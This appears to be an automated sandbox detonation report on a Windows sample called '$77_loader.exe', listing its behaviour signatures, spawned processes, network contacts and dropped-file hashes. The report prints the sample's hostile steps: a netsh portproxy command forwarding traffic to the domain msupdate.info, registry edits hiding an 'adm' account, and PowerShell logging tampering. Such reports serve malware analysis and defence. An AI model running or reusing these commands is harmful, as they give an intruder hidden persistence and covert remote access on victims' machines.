SHA512 baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

memory/980-138-0x0000000000000000-mapping.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-05-19 01:40

Reported

2022-05-19 01:42

Platform

win10v2004-20220414-en

Max time kernel

72s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"

Signatures

Sets file execution options in registry

persistence

Modifies WinLogon

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\adm = "0" C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A

Modifies powershell logging option

evasion

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\SoftwareDistribution\config.xml C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\config.xml C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3328 wrote to memory of 4820 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 3328 wrote to memory of 4820 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 4820 wrote to memory of 4688 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4820 wrote to memory of 4688 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 3328 wrote to memory of 4940 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\chcp.com
PID 3328 wrote to memory of 4940 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\chcp.com
PID 3328 wrote to memory of 2480 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 2480 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 3328 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 3328 wrote to memory of 432 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 3328 wrote to memory of 432 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 3328 wrote to memory of 4632 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 3328 wrote to memory of 4632 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 3328 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 1668 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 3144 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 3144 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 3128 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 3128 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 4868 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 4868 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 3328 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe

Processes

C:\Users\Admin\AppData\Local\Temp\$77_loader.exe

"C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\7nxsnx8m.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78DF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC78CE.tmp"

C:\Windows\system32\chcp.com

"C:\Windows\system32\chcp.com" 437

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy reset

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=msupdate.info

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

Network

Country Destination Domain Proto
US 93.184.221.240:80 tcp
US 93.184.221.240:80 tcp
US 8.8.8.8:53 msupdate.info udp
US 8.8.8.8:53 evcs-ocsp.ws.symantec.com udp
DE 23.51.123.27:80 evcs-ocsp.ws.symantec.com tcp
US 8.8.8.8:53 msupdate.info udp
LT 5.133.65.53:443 msupdate.info tcp
US 52.168.117.170:443 tcp
N/A 127.0.0.1:999 tcp
N/A 127.0.0.1:999 tcp
N/A 127.0.0.1:999 tcp
US 93.184.221.240:80 tcp
US 93.184.221.240:80 tcp

Files

memory/3328-130-0x000000001BB40000-0x000000001C69D000-memory.dmp

memory/4820-131-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\7nxsnx8m.cmdline

MD5 c966dcb5594d5c11dc92994317b5d66a
SHA1 85e3f1c744d4424b7a9e4e7de6ec4fbcd942ddf8
SHA256 03fb38cf6dd91783ecfb202a53eb56eba04e3832b5232a2330e67e083ceb93d8
SHA512 f65d2915f2a4aa531b5d7772d0fbd18c1dbe0aeb64e2fdec1f9f6316b57ba78c77c16052fe1cc4cbe77139dc7893d9e8ce56e1b4ed780287957bfb662d5cd15b

\??\c:\Users\Admin\AppData\Local\Temp\7nxsnx8m.0.cs

MD5 1640a04633fee0dfdc7e22c4f4063bf6
SHA1 3cb525c47b5dd37f8ee45b034c9452265fba5476
SHA256 55e16d2ca3e65ce6c62cd5be2af5d7264445c5d7e1b5f3be7149acfb47ae42a0
SHA512 85c5103dda738d6003d39b0b619e68942965ddb9d6e08e544abf377224fdb29c6cd1501a549e99e57875954cea44b5bdefd7cace018c8123e7bfb717ae0e973d

memory/4688-134-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\CSC78CE.tmp

MD5 71e21134c5f622606604126ddab930ba
SHA1 f2ae14adfd11b894c0bd7b714ed7d7222f647e12
SHA256 74c8516527bb00b9fcaf2909364573bfa6cae45fda4335c98c12939daeb67d92
SHA512 2786312fbdbae6256996a996503f262ce1b33340af4bb8d81b64d89e907146ae71af6dbd0319580d7e80d353d823c6953b4109ee4273e3b40f336bf186e0c885

C:\Users\Admin\AppData\Local\Temp\RES78DF.tmp

MD5 28243d1a5e570f65058f8e23a67c0d41
SHA1 e229804acfc755d439eb8fb9412077fe371b5f3c
SHA256 d3a773e82cbc44a21cfbe8d2b1059ade0b4c3a1087d26d199fa842d2bc3f8826
SHA512 775ba00e67c07b60afdb2aa34e7072dd2fefe659cb0734c18c2dc0f8197f8784c2b2373b88e53a08f8eb187b48070dc9b45bc7aff2c53f562b0d7e219d511307

C:\Users\Admin\AppData\Local\Temp\7nxsnx8m.dll

MD5 8d4ec709688a6185c8fae814de0005e5
SHA1 513f226c843cc8fbdcd24d8c66f4c22cf8a09d2f
SHA256 9535964dec8d14f6b0b0e722a80f41de2990fcbd7b5a1ca6e874a3740f4154f3
SHA512 11777177ea768c57a2f74814f9c22dc0d47168792fcd29382b8589f26d780743209dfaca254fc3d8a05a2a879d6cdaf43ff3adea186aa7d64b7cac3c7d85774a

C:\Users\Admin\AppData\Local\Temp\7nxsnx8m.pdb

MD5 2fc3b08a7fc80ea8ddff09577d070e8d
SHA1 6d4c1b9551c4de34b5129d45022b3097633f902e
SHA256 2dea6fa888d3b0ea6e5394f422dbdde7199e3b7e9ef28ae907b75fad11831062
SHA512 e707805fbdef62c0ce73c746904b020af9521b14d0fc723a10db050de24a82655b598a6b92cdbc154846a02b78e3257c52c2f0ffe490076a85f6f500ba455760

memory/4940-139-0x0000000000000000-mapping.dmp

memory/2480-140-0x0000000000000000-mapping.dmp

memory/3204-141-0x0000000000000000-mapping.dmp

memory/432-142-0x0000000000000000-mapping.dmp

memory/4632-143-0x0000000000000000-mapping.dmp

memory/1668-144-0x0000000000000000-mapping.dmp

memory/3144-145-0x0000000000000000-mapping.dmp

memory/3128-146-0x0000000000000000-mapping.dmp

memory/4868-147-0x0000000000000000-mapping.dmp

memory/2368-148-0x0000000000000000-mapping.dmp

memory/3328-149-0x0000000000B9A000-0x0000000000B9F000-memory.dmp